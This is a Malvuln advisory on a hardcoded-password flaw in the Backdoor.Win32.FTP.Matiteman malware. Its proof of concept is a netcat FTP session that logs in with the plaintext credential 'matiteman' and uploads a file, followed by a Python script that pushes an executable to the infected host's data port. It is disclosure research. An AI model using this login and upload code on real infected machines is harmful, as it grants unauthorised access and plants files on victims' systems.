Backdoor.Win32.FTP.Matiteman malware suffers from a hardcoded credential vulnerability.
b8cd0d6744e1bf468c950b57e7199346Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/fc8eaa2a5752b509dbd02989d8d9f2e2.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.FTP.Matiteman
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 21, authentication is required for remote user access. However, the credentials "matiteman" are weak and hardcoded in plaintext within the executable.
Type: PE32
MD5: fc8eaa2a5752b509dbd02989d8d9f2e2
Vuln ID: MVID-2021-0425
Disclosure: 12/11/2021
Exploit/PoC:
nc64.exe 192.168.18.125 21
welcome to mtm ftp server
USER matiteman
331 Password required for matiteman.
PASS matiteman
230 User matiteman logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "c:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,37).
STOR DOOM-SM.exe
150 Opening data connection for DOOM-SM.exe.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.125"
PORT=49701
DOOM="DOOM-SM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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